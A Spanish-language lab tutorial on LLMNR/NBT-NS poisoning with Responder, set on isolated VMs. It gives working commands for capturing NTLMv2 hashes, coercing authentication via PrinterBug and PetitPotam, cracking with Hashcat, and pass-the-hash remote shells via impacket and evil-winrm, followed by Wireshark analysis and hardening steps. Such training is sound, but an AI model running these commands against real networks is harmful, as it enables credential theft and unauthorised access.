Responder — LLMNR/NBT-NS Poisoning — GhostAcademy SecLearn

🌐

¿Qué son LLMNR y NBT-NS?

Los protocolos de resolución de nombres que hacen posible este ataque

Para entender el ataque de Responder hay que comprender primero cómo funciona la resolución de nombres en redes Windows. Cuando un equipo necesita encontrar la dirección IP de un nombre de host y el servidor DNS no puede resolverlo, Windows recurre automáticamente a protocolos alternativos de resolución de nombres en la red local.

🌐LLMNR — Link-Local Multicast Name Resolution

LLMNR (RFC 4795) es un protocolo que permite a los equipos de una red local resolver nombres de host mediante multicast, sin necesitar un servidor DNS centralizado. Cuando un equipo no puede resolver un nombre mediante DNS, envía una consulta multicast a la dirección 224.0.0.252 (IPv4) o FF02::1:3 (IPv6) preguntando «¿quién es [nombre]?» por el puerto UDP 5355. Cualquier equipo de la red que se identifique con ese nombre puede responder.

El problema de seguridad fundamental: LLMNR es un protocolo de confianza implícita. Cualquier equipo de la red puede responder a estas consultas afirmando ser el host buscado, sin ninguna verificación de autenticidad. Esta es exactamente la vulnerabilidad que explota Responder.

🌐NBT-NS — NetBIOS Name Service

NBT-NS (NetBIOS Name Service) es el predecesor de LLMNR, un protocolo aún más antiguo (Windows NT era) que usa broadcast UDP en el puerto 137 para resolver nombres NetBIOS en la red local. Aunque es una tecnología de los años 90, sigue habilitado por defecto en muchos entornos Windows modernos por compatibilidad con sistemas heredados.

Tiene exactamente el mismo problema que LLMNR: no existe ningún mecanismo de autenticación de las respuestas. Cualquier equipo puede responder a una consulta NBT-NS afirmando ser el host buscado.

💻

Equipo WindowsIntenta acceder a \\FileServer

→

🌐

DNS fallaEl nombre no existe en DNS

→

🗣

LLMNR/NBT-NSBroadcast: «¿quién es FileServer?»

→

⚠

Responder responde«¡Soy yo! IP atacante»

→

🔒

Windows autenticaEnvía hash NTLMv2

📌 ¿POR QUÉ SIGUEN HABILITADOS?LLMNR y NBT-NS están habilitados por defecto en Windows para garantizar compatibilidad con entornos heredados. Muchas organizaciones no los deshabilitan por miedo a romper funcionalidades antiguas. Según estudios del sector, más del 75% de las redes corporativas Windows todavía tienen LLMNR habilitado.

⚡

El Ataque de Envenenamiento (Poisoning)

Cómo Responder intercepta la autenticación NTLM

El ataque de envenenamiento LLMNR/NBT-NS es uno de los ataques más efectivos en redes Windows internas porque no requiere ningún exploit sofisticado: simplemente abusa de la confianza implícita de estos protocolos.

⚡FLUJO COMPLETO DEL ATAQUE PASO A PASO

#	Acción	Quién	Protocolo/Puerto
1	El usuario intenta acceder a un recurso que no existe o mal escrito (ej: `\\FileServr`)	Víctima	SMB / DNS
2	DNS no puede resolver el nombre → Windows lanza consulta LLMNR multicast	Víctima	UDP 5355
3	Responder escucha en la red y responde a la consulta afirmando ser el host buscado	Atacante	UDP 5355 / UDP 137
4	El equipo víctima confía en la respuesta e intenta autenticarse con el «servidor»	Víctima	SMB / HTTP
5	Responder captura el proceso de autenticación NTLM y extrae el hash NTLMv2	Atacante	SMB / HTTP
6	El hash capturado se crackea offline con Hashcat y un diccionario	Atacante	Offline

⚠ CONTEXTO DE ESTE ATAQUEEste ataque es típico de las primeras fases de un pentest interno (post-acceso a la red): el atacante ya tiene acceso a la red local (como empleado, cómo VPN comprometida, acceso físico, etc.) y quiere escalar privilegios obteniendo credenciales de otros usuarios o administradores del dominio.

🔒

Hash NTLMv2 en Detalle

Estructura del hash capturado y por qué es crackeable

NTLM (NT LAN Manager) es el protocolo de autenticación heredado de Windows que se usa cuando Kerberos no está disponible o cuando se accede por nombre NetBIOS en lugar de FQDN. NTLMv2 es su versión mejorada (desde Windows NT 4 SP4), pero sigue siendo vulnerable al cracking offline cuando se captura el intercambio de autenticación.

🔒ESTRUCTURA DEL HASH NTLMv2 CAPTURADO

Cuando Responder captura una autenticación NTLM, el hash tiene este formato:

Formato del hash NTLMv2 capturado por Responder

usuario::DOMINIO:challenge_del_servidor:respuesta_NTLMv2:blob_del_cliente jdoe::CONTOSO:1122334455667788:a3f4b2c1d5e6f7a8b9c0d1e2f3a4b5c6:0101000000000000...

Campo	Color	Descripción
Usuario	■ Rojo	Nombre de usuario que intentó autenticarse
Dominio	■ Naranja	Dominio o nombre de equipo del usuario
Challenge	■ Verde	Valor aleatorio enviado por el «servidor» (Responder)
Respuesta NTLMv2	■ Azul	HMAC-MD5 de (NT hash + usuario + dominio + challenge + timestamp)
Blob del cliente	■ Rosa	Datos adicionales del cliente (timestamp, nonce, etc.)

📌¿POR QUÉ ES CRACKEABLE SI NTLMV2 ES MÁS SEGURO?

NTLMv2 es más seguro que NTLMv1 porque incluye un challenge mútuo y un timestamp, pero el hash del cracking offline sigue siendo posible porque:

Responder controla el challenge del servidor, lo conocemos completamente
La respuesta NTLMv2 es un HMAC-MD5 de la contraseña del usuario (derivada) más los datos conocidos
HMAC-MD5 es computacionalmente rápido: GPU modernas prueban miles de millones de combinaciones por segundo
Las herramientas como Hashcat implementan el modo 5600 específicamente para NTLMv2

El cracking es offline: no genera tráfico adicional ni bloquea cuentas, porque nunca se intenta autenticar contra el dominio real. Se prueba localmente si la contraseña genera el mismo hash.

🔧

Herramientas del Laboratorio

Responder y Hashcat: instalación y verificación

🔧RESPONDER

Responder es una herramienta Python de código abierto creada por Laurent Gaffie que implementa servidores falsos de LLMNR, NBT-NS, SMB, HTTP, FTP, LDAP y otros protocolos de red Windows. Su función principal es responder a las consultas de resolución de nombres y capturar los hashes de autenticación que se envían automáticamente.

Viene preinstalada en Kali Linux y otras distribuciones de seguridad.

Instalar y verificar Responder

# En Kali Linux (ya viene preinstalada)
responder --help

# Si no est&aacute; instalada:
sudo apt update && sudo apt install responder -y

# Instalar desde GitHub (versi&oacute;n m&aacute;s reciente):
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
python3 Responder.py --help

# Ver la versi&oacute;n
responder --version

🔧HASHCAT

Hashcat es el cracker de hashes más rápido del mundo. Aprovecha la potencia de la GPU (tarjeta gráfica) para probar miles de millones de combinaciones por segundo. Para NTLMv2 usa el modo -m 5600.

Instalar y verificar Hashcat

# En Kali Linux (preinstalado)
hashcat --version

# Instalar si no est&aacute;:
sudo apt install hashcat -y

# Verificar que detecta GPU:
hashcat -I

# Si no hay GPU dedicada, usar CPU con OpenCL:
hashcat -I --backend-ignore-opencl

🔧ROCKYOU.TXT Y OTROS DICCIONARIOS

Localizar y preparar diccionarios

# rockyou.txt en Kali Linux
ls -lh /usr/share/wordlists/rockyou.txt*

# Si est&aacute; comprimido:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# Ver cu&aacute;ntas palabras tiene:
wc -l /usr/share/wordlists/rockyou.txt
# ~14.3 millones de contrase&ntilde;as

# Otros diccionarios &uacute;tiles:
ls /usr/share/wordlists/

# Descargar SecLists (colecci&oacute;n profesional completa):
sudo apt install seclists -y
ls /usr/share/seclists/Passwords/

⚙

Montar el Entorno de Laboratorio

Configuración segura para practicar el ataque

⚠ ENTORNO DE LABORATORIO OBLIGATORIOResponder debe ejecutarse únicamente en redes propias o de laboratorio con máquinas virtuales en red aislada. Ejecutarlo en una red corporativa real sin permiso explícito es ilegal y puede interferir con el tráfico legítimo de toda la organización (Responder responde a TODOS los broadcasts de la red).

💻ENTORNO RECOMENDADO PARA EL LABORATORIO

Máquina	Sistema	Rol	Red
Kali Linux	Kali 2023+	Atacante — ejecuta Responder y Hashcat	Red Interna VirtualBox
Windows 10/11	Windows 10 o 11	Víctima — genera las consultas LLMNR	Red Interna VirtualBox
Windows Server (opcional)	Windows Server 2019/2022	Controlador de dominio para Active Directory	Red Interna VirtualBox

Crear la red interna en VirtualBoxCONFIGURACIÓN

Configurar red interna VirtualBox

# En cada VM -> Configuraci&oacute;n -> Red -> Adaptador 1:
# Conectado a: Red interna
# Nombre: intnet-lab

# En la VM Windows (v&iacute;ctima), asignar IP est&aacute;tica:
# IP: 192.168.56.10
# M&aacute;scara: 255.255.255.0
# Sin puerta de enlace (red aislada)

# En Kali (atacante), asignar IP est&aacute;tica:
# IP: 192.168.56.5
# M&aacute;scara: 255.255.255.0

# Verificar conectividad desde Kali:
ping 192.168.56.10

Verificar que LLMNR está habilitado en WindowsVERIFICACIÓN

En la VM Windows víctima, verificamos que LLMNR está habilitado (estado por defecto en Windows 10/11):

Verificar LLMNR en Windows (PowerShell)

# En la VM Windows v&iacute;ctima (PowerShell como administrador)

# Ver el estado de LLMNR
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient' -Name EnableMulticast -ErrorAction SilentlyContinue
# Si no devuelve nada, LLMNR est&aacute; habilitado (valor por defecto)

# Verificar NBT-NS por adaptador de red
Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Select-Object Description, TcpipNetbiosOptions
# 0 = Default (habilitado), 1 = Habilitado, 2 = Deshabilitado

Identificar la interfaz de red en KaliPREPARACIÓN

Identificar interfaz de red en Kali

# Ver todas las interfaces de red
ip addr
# o:
ifconfig

# La interfaz conectada a la red interna ser&aacute; algo como eth0, eth1
# Toma nota del nombre (necesario para Responder)

# Verificar qu&eacute; IP tiene Kali en la red del laboratorio:
ip addr show eth0 | grep 'inet '

# Comprobar que ve la v&iacute;ctima:
ping 192.168.56.10 -c 3

🔴

Ejercicio 1 — Captura Básica con Responder

Envenenar LLMNR/NBT-NS y capturar el primer hash NTLMv2

Envenenamiento y captura

Responder escucha y responde a consultas LLMNR/NBT-NS

CAPTURA

Iniciar Responder en la interfaz de redKALI — ATACANTE

Lanzar Responder

# -I : interfaz de red (sustituye eth0 por la tuya)
# -rdw: habilitar servidores Rogue DHCP, DNS, WPAD
# -v : modo verbose (ver todos los eventos)
sudo responder -I eth0 -rdw -v

# Versi&oacute;n m&iacute;nima (solo LLMNR/NBT-NS, sin opciones extra):
sudo responder -I eth0

# Responder mostrar&aacute; los servidores que est&aacute; levantando:
# [+] Listening for events...
# [SMB] NTLMv2 Hash captured from 192.168.56.10

📌 QUÉ HACE RESPONDER AL INICIARSEResponder levanta automáticamente servidores falsos de: SMB, HTTP, HTTPS, FTP, LDAP, MSSQL, DNS, LLMNR, NBT-NS, MDNS y WPAD. Cada servidor está diseñado para responder a peticiones de autenticación y capturar los hashes sin autenticar realmente al usuario.

Generar una consulta LLMNR desde la víctimaWINDOWS — VÍCTIMA

En la VM Windows, generamos una consulta que active LLMNR. La forma más sencilla es intentar acceder a un recurso compartido con un nombre que no existe en DNS:

Generar consulta LLMNR en Windows

# En el explorador de Windows, escribir en la barra de direcci&oacute;n:
# \\FileServr  (nombre inventado que no existe en DNS)

# O desde CMD/PowerShell:
net use \\FileServr\share

# O simplemente:
ping FileServr

# Cualquiera de estos generar&aacute; una consulta LLMNR
# que Responder interceptar&aacute;

Ver el hash capturado en ResponderKALI — RESULTADO

Salida de Responder al capturar el hash

# Responder mostrar&aacute; algo similar a:

[*] [LLMNR]  Poisoned answer sent to 192.168.56.10 for name FileServr
[SMB] NTLMv2-SSP Client   : 192.168.56.10
[SMB] NTLMv2-SSP Username : CONTOSO\jdoe
[SMB] NTLMv2-SSP Hash     : jdoe::CONTOSO:1122334455667788:a3f4b2c1...:010100000...

# El hash tambi&eacute;n se guarda autom&aacute;ticamente en:
ls -la /usr/share/responder/logs/
# Archivos: SMB-NTLMv2-SSP-192.168.56.10.txt y otros
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.10.txt

✅ Hash NTLMv2 capturado y guardado en /usr/share/responder/logs/

❓ Ejercicio práctico

Lanza Responder en tu interfaz de red del laboratorio, genera una consulta desde la VM Windows hacia un nombre inventado (ej: \\TestServer99) y localiza el hash capturado en los logs. ¿En qué archivo se guarda?

💡 Pista: Los logs de Responder se guardan en /usr/share/responder/logs/ con nombres que incluyen el protocolo y la IP de la víctima.

Ver solución

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP_VICTIMA>.txt --- El archivo contiene el hash completo en formato listo para Hashcat. Verifica con: ls -la /usr/share/responder/logs/

📡

Ejercicio 2 — Responder Avanzado y Configuración

Opciones avanzadas, WPAD, HTTP y captura multi-protocolo

Captura multi-protocolo

Maximizar la superficie de captura con servidores adicionales

AVANZADO

Explorar y modificar la configuracion de ResponderCONFIGURACION

Ver y editar Responder.conf

# Ver la configuracion actual de Responder
cat /etc/responder/Responder.conf
# o:
cat /usr/share/responder/Responder.conf

Responder.conf - secciones principales

[Responder Core]
; Activar/desactivar servidores (On/Off)
SMB = On
HTTP = On
HTTPS = On
FTP = On
POP = On
SMTP = On
IMAP = On
LDAP = On
DNS = On
SQL = On
DCE-RPC = On
WinRM = On

; Desactivar SMB si hay conflicto con el DC:
SMB = Off

Captura vía HTTP con WPADWPAD ATTACK

WPAD (Web Proxy Auto-Discovery) es un mecanismo que Windows usa para encontrar automáticamente la configuración de proxy. Responder puede hacerse pasar por un servidor WPAD y capturar credenciales de los navegadores de los usuarios, incluso sin interacción directa del usuario.

Captura con WPAD habilitado

# -w : habilitar servidor WPAD
# -F : forzar autenticaci&oacute;n b&aacute;sica para WPAD/NTLM
# -P : usar NTLMv1 en lugar de NTLMv2 (m&aacute;s f&aacute;cil de crackear, pero m&aacute;s ruidoso)
sudo responder -I eth0 -wF

# Responder captura cuando el navegador intenta descargar wpad.dat:
[HTTP] NTLMv2 Client   : 192.168.56.10
[HTTP] NTLMv2 Username : CONTOSO\jdoe
[HTTP] NTLMv2 Hash     : jdoe::CONTOSO:...

Forzar autenticación desde Kali (sin esperar a la víctima)FORZAR AUTENTICACIÓN

En lugar de esperar a que la víctima haga una consulta, podemos usar otras técnicas para forzar la autenticación activamente. Esta técnica es más agresiva y más detectable.

Forzar autenticación con PrinterBug (SpoolSample)

# La vulnerabilidad PrinterBug/SpoolSample fuerza a un equipo Windows
# a autenticarse contra nuestra m&aacute;quina (si el servicio Spooler est&aacute; activo)

# Con impacket:
pip3 install impacket
python3 /usr/share/doc/python3-impacket/examples/printerbug.py \
  DOMINIO/usuario:contrase&ntilde;a@192.168.56.10 192.168.56.5

# Otra opci&oacute;n: PetitPotam (fuerza autenticaci&oacute;n v&iacute;a MS-EFSRPC)
# git clone https://github.com/topotam/PetitPotam
python3 PetitPotam.py 192.168.56.5 192.168.56.10

Capturar hashes de múltiples usuarios simultáneamenteMULTI-CAPTURA

Ver todos los hashes capturados en tiempo real

# Responder muestra los hashes en pantalla y los guarda en logs
# Para ver todos los hashes capturados hasta el momento:
cat /usr/share/responder/logs/*.txt

# Solo los hashes NTLMv2:
grep 'NTLMv2' /usr/share/responder/logs/*.txt

# Limpiar logs anteriores y empezar de cero:
sudo rm /usr/share/responder/logs/*.txt

# Responder tambi&eacute;n tiene una base de datos SQLite:
sqlite3 /usr/share/responder/Responder.db 'SELECT * FROM responder;'

❓ Ejercicio práctico

Configura Responder para capturar hashes tanto por SMB como por HTTP/WPAD. ¿Qué diferencia hay en los archivos de log generados para cada protocolo?

💡 Pista: Los logs se nombran según el protocolo: HTTP-NTLMv2-*.txt vs SMB-NTLMv2-SSP-*.txt

Ver solución

Los logs se separan por protocolo en /usr/share/responder/logs/: --- SMB-NTLMv2-SSP-<IP>.txt para capturas por SMB --- HTTP-NTLMv2-<IP>.txt para capturas por HTTP --- Los hashes tienen el mismo formato y son igualmente crackeables con Hashcat -m 5600

💫

Ejercicio 3 — Cracking con Hashcat

Romper los hashes NTLMv2 capturados con ataques de diccionario y reglas

Cracking offline

Hashcat prueba miles de millones de contraseñas por segundo sin tocar el dominio

CRACKING

Preparar el archivo de hashes para HashcatPREPARACIÓN

Preparar el hash para Hashcat

# El hash capturado por Responder ya tiene el formato correcto para Hashcat
# Solo necesitamos copiarlo al archivo que le pasaremos

# Ver el hash capturado:
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.10.txt

# Copiar a un archivo de trabajo:
cp /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.10.txt ~/hashes_ntlmv2.txt

# Verificar el formato (debe ser usuario::DOMINIO:challenge:respuesta:blob):
head -1 ~/hashes_ntlmv2.txt
# jdoe::CONTOSO:1122334455667788:a3f4b2c1...:0101000000...

# Si hay m&uacute;ltiples hashes del mismo usuario, eliminar duplicados:
sort -u ~/hashes_ntlmv2.txt > ~/hashes_unique.txt

Ataque de diccionario con rockyou.txtATAQUE BÁSICO

Cracking NTLMv2 con Hashcat y rockyou

# -m 5600 : modo NTLMv2 (NetNTLMv2)
# -a 0    : ataque de diccionario
# ~/hashes_unique.txt : archivo con el/los hashes
# rockyou.txt : diccionario de contrase&ntilde;as
hashcat -m 5600 -a 0 ~/hashes_unique.txt /usr/share/wordlists/rockyou.txt

# Con indicador de progreso m&aacute;s detallado:
hashcat -m 5600 -a 0 ~/hashes_unique.txt /usr/share/wordlists/rockyou.txt --status --status-timer=5

# Hashcat muestra:
# Session..........: hashcat
# Status...........: Cracked / Running
# Hash.Mode........: 5600 (NetNTLMv2)
# Progress.........: 14344384/14344384 (100.00%)
# Recovered........: 1/1 (100.00%) Digests

💡 SI LA GPU NO ESTÁ DISPONIBLEEn un entorno virtual sin GPU dedicada, hashcat usará la CPU. Mucho más lento pero funcional para el laboratorio. Añade --force si hashcat se queja del entorno virtualizado (solo en lab): hashcat -m 5600 -a 0 hashes.txt rockyou.txt --force

Ataque con reglas (Rule-based attack)ATAQUE AVANZADO

Las reglas de Hashcat aplican transformaciones automáticas a cada palabra del diccionario: mayúsculas, sustitución de caracteres (a→@, e→3), añadir números al final, etc. Esto multiplica enormemente la efectividad del diccionario sin necesitar un diccionario mayor.

Cracking con reglas de Hashcat

# -r : archivo de reglas
# best64.rule: 64 reglas m&aacute;s efectivas (incluido en hashcat)
hashcat -m 5600 -a 0 ~/hashes_unique.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Reglas m&aacute;s potentes (m&aacute;s lento pero m&aacute;s efectivo):
hashcat -m 5600 -a 0 ~/hashes_unique.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

# Combinar m&uacute;ltiples diccionarios:
hashcat -m 5600 -a 0 ~/hashes_unique.txt \
  /usr/share/wordlists/rockyou.txt \
  /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100000.txt

Ataque de máscara (fuerza bruta inteligente)ATAQUE DE MÁSCARA

El ataque de máscara genera contraseñas siguiendo un patrón conocido. Si sabemos la política de contraseñas de la organización (longitud mínima, mayúsculas, números...), podemos generar solo las combinaciones que cumplan ese patrón.

Ataque de máscara con Hashcat

# -a 3 : ataque de m&aacute;scara
# Caracteres especiales de m&aacute;scara:
# ?l = letras min&uacute;sculas (a-z)
# ?u = letras may&uacute;sculas (A-Z)
# ?d = d&iacute;gitos (0-9)
# ?s = caracteres especiales
# ?a = todos los anteriores combinados

# Patr&oacute;n: May&uacute;scula + 6 min&uacute;sculas + 2 d&iacute;gitos (Empresa01)
hashcat -m 5600 -a 3 ~/hashes_unique.txt '?u?l?l?l?l?l?l?d?d'

# Patr&oacute;n: 8 caracteres alfanum&eacute;ricos:
hashcat -m 5600 -a 3 ~/hashes_unique.txt '?a?a?a?a?a?a?a?a'

# Ver las contrase&ntilde;as ya crackeadas:
hashcat -m 5600 ~/hashes_unique.txt --show

Ver los resultados del crackingRESULTADOS

Consultar contraseñas crackeadas

# Ver todos los hashes crackeados:
hashcat -m 5600 ~/hashes_unique.txt --show
# Salida: jdoe::CONTOSO:...:Passw0rd123

# Hashcat guarda los resultados en ~/.hashcat/hashcat.potfile
cat ~/.hashcat/hashcat.potfile

# Solo mostrar usuario:contrase&ntilde;a (sin el hash):
hashcat -m 5600 ~/hashes_unique.txt --show | awk -F: '{print $1": "$NF}'

# Exportar a formato limpio:
hashcat -m 5600 ~/hashes_unique.txt --show --outfile-format=2 -o ~/crackeados.txt
cat ~/crackeados.txt

✅ Contraseña crackeada y recuperada — guardada en ~/.hashcat/hashcat.potfile

❓ Ejercicio práctico

Tienes el siguiente hash NTLMv2 capturado. Usa Hashcat con rockyou.txt para crackearlo. El formato es correcto y la contraseña está en rockyou.txt:
testuser::WORKGROUP:aabbccddeeff1122:abc123def456abc1:0101000000000000c0d8f8a0b1c2d3e4...

💡 Pista: Guarda el hash en un archivo de texto y usa hashcat -m 5600 -a 0 con rockyou.txt

Ver solución

hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --- Cuando termine: hashcat -m 5600 hash.txt --show --- La contraseña aparecerá al final de la línea del hash, separada por dos puntos

🛠

Ejercicio 4 — Pass-the-Hash (PtH)

Usar el hash NTLM directamente sin necesidad de crackearlo

Pass-the-Hash

Usar el NT hash directamente para autenticarse sin conocer la contraseña

POST-EXPLOTACIÓN

Pass-the-Hash (PtH) es una técnica que aprovecha cómo funciona la autenticación NTLM: el protocolo acepta el hash NT directamente como credencial, sin necesitar la contraseña en texto plano. Si capturamos el hash NT de un usuario (diferente al hash NTLMv2 de Responder), podemos autenticarnos como ese usuario en otros sistemas sin crackear nada.

📌 NTLM HASH vs NTLMv2 HASHEl hash que captura Responder es un NTLMv2 (hash de autenticación de red, complejo, no reutilizable directamente). Para Pass-the-Hash necesitamos el NT hash (MD4 de la contraseña, 32 caracteres hex), que se extrae de la SAM del sistema o del NTDS.dit del dominio. Si crackeamos el NTLMv2 y obtenemos la contraseña, podemos calcular el NT hash.

Calcular el NT hash a partir de la contraseña crackeadaPREPARACIÓN

Calcular NT hash de una contraseña

# Una vez que crackeamos la contrase&ntilde;a con Hashcat, calculamos el NT hash
# El NT hash es: MD4(UTF-16LE(password))

# Con Python:
python3 -c "
import hashlib, binascii
password = 'Passw0rd123'
nt_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
print('NT Hash:', nt_hash)
"

# Con impacket:
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
  -just-dc-user 'CONTOSO/jdoe' \
  CONTOSO/Administrator:Password@192.168.56.10

Pass-the-Hash con impacket (psexec / smbexec / wmiexec)AUTENTICACIÓN PtH

Pass-the-Hash con herramientas de impacket

# psexec.py: abre una shell interactiva v&iacute;a SMB
# Formato: usuario:LMhash:NThash@IP
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
  -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH_AQUI' \
  CONTOSO/jdoe@192.168.56.10

# wmiexec.py: ejecuci&oacute;n de comandos v&iacute;a WMI (menos ruidoso)
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py \
  -hashes ':NTHASH_AQUI' \
  CONTOSO/jdoe@192.168.56.10

# smbclient: acceso a recursos compartidos
smbclient //192.168.56.10/C$ -U 'CONTOSO/jdoe%' --pw-nt-hash NTHASH_AQUI

# Con crackmapexec (CrackMapExec / NetExec):
crackmapexec smb 192.168.56.10 -u jdoe -H NTHASH_AQUI

Evil-WinRM para acceso remoto vía WinRMACCESO REMOTO

Evil-WinRM con Pass-the-Hash

# Si WinRM (puerto 5985) est&aacute; habilitado en la v&iacute;ctima:
# Instalar evil-winrm:
gem install evil-winrm

# Conectar con NT hash:
evil-winrm -i 192.168.56.10 -u jdoe -H NTHASH_AQUI

# Si est&aacute; en el grupo Remote Management Users o Administrators:
# Obtenemos una PowerShell interactiva completa

❓ Ejercicio práctico

¿Por qué Pass-the-Hash es posible con NTLM pero no con Kerberos? ¿Qué implicación tiene esto para la defensa?

💡 Pista: Piensa en cómo valida las credenciales cada protocolo: NTLM compara hashes directamente, Kerberos usa tickets con timestamps y claves del KDC.

Ver solución

NTLM funciona comparando el NT hash directamente: el servidor envía un challenge, el cliente responde con HMAC(NT_hash, challenge), y el servidor puede verificarlo conociendo solo el NT hash. Kerberos emite tickets firmados por el KDC que incluyen timestamps y claves de sesión únicas, haciendo imposible reutilizar el hash directamente. Para la defensa: migrar a Kerberos, deshabilitar NTLMv1, habilitar 'Protected Users' group y 'Credential Guard' en Windows 10/11+

📊

Ejercicio 5 — Análisis del Tráfico con Wireshark

Ver el ataque desde la perspectiva del tráfico de red

Análisis forense

Observar el intercambio LLMNR y NTLM en Wireshark para comprender el protocolo

ANÁLISIS

Capturar el tráfico con Wireshark durante el ataqueCAPTURA

Iniciar captura de Wireshark y filtrar

# Iniciar Wireshark en la interfaz de red del laboratorio
# Puedes hacerlo desde la GUI o desde terminal:
wireshark -i eth0 &

# O capturar con tshark (CLI) y analizar despu&eacute;s:
tshark -i eth0 -w /tmp/captura_responder.pcapng

# Filtros Wireshark para ver el ataque:
# Ver solo tr&aacute;fico LLMNR:
llmnr

# Ver solo tr&aacute;fico NBT-NS:
nbns

# Ver el intercambio NTLM completo:
ntlmssp

# Ver todo el ataque junto:
llmnr or nbns or ntlmssp

Identificar la consulta LLMNR envenenadaANÁLISIS

Filtros Wireshark para el ataque de Responder

# En Wireshark, aplica estos filtros para ver el ataque:

# 1. La consulta multicast LLMNR de la v&iacute;ctima:
llmnr and ip.dst == 224.0.0.252
# Ver: la v&iacute;ctima pregunta &laquo;&iquest;qui&eacute;n tiene el nombre X?&raquo;

# 2. La respuesta ENVENENADA de Responder:
llmnr and ip.src == 192.168.56.5
# Ver: Responder responde &laquo;soy yo&raquo; apuntando a 192.168.56.5

# 3. El intercambio NTLM despu&eacute;s del envenenamiento:
ntlmssp
# Ver: NTLM_NEGOTIATE -> NTLM_CHALLENGE -> NTLM_AUTH (con el hash)

# 4. Extraer el hash NTLMv2 desde Wireshark:
# Click derecho en el paquete NTLM_AUTH -> Follow -> TCP Stream

Entender el intercambio NTLM en el tráficoPROTOCOLO

Desglose del intercambio NTLM visto en Wireshark

# El intercambio NTLM tiene 3 mensajes:

# MENSAJE 1: NTLM_NEGOTIATE (cliente -> servidor)
# El cliente indica qu&eacute; versiones de NTLM soporta
# Filtro: ntlmssp.messagetype == 1

# MENSAJE 2: NTLM_CHALLENGE (servidor -> cliente)  <- RESPONDER controla esto
# El servidor (Responder) env&iacute;a un challenge aleatorio de 8 bytes
# Este challenge es el que aparece en el hash capturado
# Filtro: ntlmssp.messagetype == 2

# MENSAJE 3: NTLM_AUTHENTICATE (cliente -> servidor)
# El cliente responde con el hash NTLMv2 (calculado con su contrase&ntilde;a + challenge)
# Este es el paquete que contiene el hash que Responder captura
# Filtro: ntlmssp.messagetype == 3

# Ver el challenge en Wireshark:
# ntlmssp.messagetype == 2 -> NTLM Server Challenge -> Value

❓ Ejercicio práctico

Captura el tráfico durante un ataque de Responder y localiza en Wireshark el paquete NTLM_CHALLENGE (mensaje tipo 2). ¿Qué valor tiene el campo 'NTLM Server Challenge' y cómo se corresponde con el hash capturado por Responder?

💡 Pista: El challenge del NTLM mensaje 2 es el tercer campo del hash NTLMv2 capturado por Responder (el campo verde en la explicación del hash).

Ver solución

El NTLM Server Challenge es un valor de 8 bytes (16 hex) que Responder genera aleatoriamente. Este valor aparece como el tercer campo del hash NTLMv2: usuario::DOMINIO:CHALLENGE:respuesta:blob. Puedes verlo en Wireshark: ntlmssp.messagetype == 2, campo 'NTLM Server Challenge'. Esto demuestra que Responder controla este challenge, lo que hace posible el cracking offline.

🛡

Defensa: Deshabilitar LLMNR y NBT-NS

Cómo proteger una red Windows contra el envenenamiento

🛡 LA DEFENSA ES SENCILLAA diferencia de muchas vulnerabilidades de seguridad, la mitigación de este ataque es clara y sencilla: deshabilitar los protocolos LLMNR y NBT-NS. Esto no afecta a entornos con DNS correctamente configurado, donde estos protocolos son innecesarios.

Deshabilitar LLMNR mediante Política de Grupo (GPO)RECOMENDADO — DOMINIO

La forma recomendada para deshabilitar LLMNR en un entorno de dominio es mediante una Directiva de Grupo (GPO), que se aplica a todos los equipos del dominio automáticamente.

Deshabilitar LLMNR via GPO (ruta en el editor de políticas)

# Ruta en el Editor de Pol&iacute;ticas de Grupo:
# Computer Configuration
#   -> Administrative Templates
#     -> Network
#       -> DNS Client
#         -> Turn OFF Multicast Name Resolution
#           -> Enabled  <-- ACTIVAR ESTA OPCI&Oacute;N para deshabilitar LLMNR

# O mediante registro (aplicable localmente o v&iacute;a GPO):
# HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient
# EnableMulticast = 0  (DWORD)

# PowerShell para aplicar localmente:
New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient' -Force
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient' \
  -Name 'EnableMulticast' -Value 0 -Type DWORD

Deshabilitar NBT-NS por adaptador de redPOR EQUIPO

Deshabilitar NetBIOS sobre TCP/IP (NBT-NS)

# PowerShell: deshabilitar NBT-NS en todos los adaptadores
$adapters = Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter 'IPEnabled = TRUE'
foreach ($adapter in $adapters) {{
    $adapter.SetTcpipNetbios(2)  # 2 = Deshabilitar NetBIOS
}}

# Verificar el cambio:
Get-WmiObject -Class Win32_NetworkAdapterConfiguration | \
  Select-Object Description, TcpipNetbiosOptions
# 2 = Deshabilitado (correcto)

# Via GUI: Panel de Control -> Conexiones de Red -> Propiedades
# -> TCP/IPv4 -> Avanzado -> WINS -> Deshabilitar NetBIOS sobre TCP/IP

Habilitar el registro de eventos LLMNR para detecciónDETECCIÓN

Configurar logging de LLMNR para detectar ataques

# Si no se puede deshabilitar LLMNR (compatibilidad), al menos monitorizarlo

# Habilitar el log de eventos de DNS Client:
wevtutil sl Microsoft-Windows-DNS-Client/Operational /e:true

# Ver eventos relacionados con LLMNR:
Get-WinEvent -LogName 'Microsoft-Windows-DNS-Client/Operational' | \
  Where-Object {$_.Id -in @(1014, 1015, 1016)} | \
  Format-List TimeCreated, Id, Message

# Event ID 1014: Name resolution for name X timed out after DNS
# (indica que se us&oacute; LLMNR/NBT-NS)

Medidas adicionales de endurecimiento NTLMHARDENENING

Configurar políticas NTLM adicionales

